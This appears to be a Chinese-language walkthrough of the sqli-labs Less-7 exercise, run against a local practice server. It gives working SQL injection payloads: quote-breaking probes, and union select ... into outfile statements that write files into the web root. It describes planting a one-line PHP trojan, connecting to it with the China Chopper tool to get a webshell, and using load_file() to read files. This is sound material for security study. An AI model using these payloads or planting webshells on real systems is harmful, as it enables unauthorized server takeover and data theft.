less-07教程
(1) 首先进行测试,看回显出的语句是什么
?id = 1
SELECT * FROM users WHERE id =((''1'))LIMIT 0,1

显示需要用outfile函数去写
(2)可以看到测试出的 sql 语句,得出下次测试需要在后面加上 ’)), 记得注释掉
?id = 1'))-+

显示出正确结果
(3)需要使用order by 3显示测试出三列
4) 使用 union select语句进行联合查询(这里要使用一句话木马,中国菜刀)
先不用一句话木马,只是用 outfile往文件里写入一个简单的单词
?id=-1')) union select 1,2,'crow' into outfile "G:\phpstudy\phpstudy_pro\WWW\sqli.com\Less-7\test.php"--+
此时less-07文件夹里出现了新建立的test.php文件,里面有刚写入的数据

若前面不是-1,而是1,则还会多一行原本的用户信息

(5)因为要使用中国菜刀进行访问,所以要把一句话木马写进去
?id=-1')) union select 1,2,''into outfile "G:\phpstudy\phpstudy_pro\WWW\sqli.com\Less-7\AA.php"--+


在一句话木马中,双引号内的就是密码
(6)现在开始使用中国菜刀,先直接进行访问
http://192.168.221.130/sqli.com/Less-7/AA.php

此时这里什么也不显示,接着我们使用中国菜刀来进行连接


此时,我们就拿到网站的webshell
做笔记tips:
1.into outfile 表示写文件:
可以把前面的文字写入指定的文件或者指定的路径,如图:


如果出现错误,可以将\改为\,会比较安全,如图:

2.load_file() 代表读取本地文件,用法如图:

最后,less-07学习完成,关键掌握一句话木马的操作,into outfile的用法,load_file()的用法!!!

浙公网安备 33010602011771号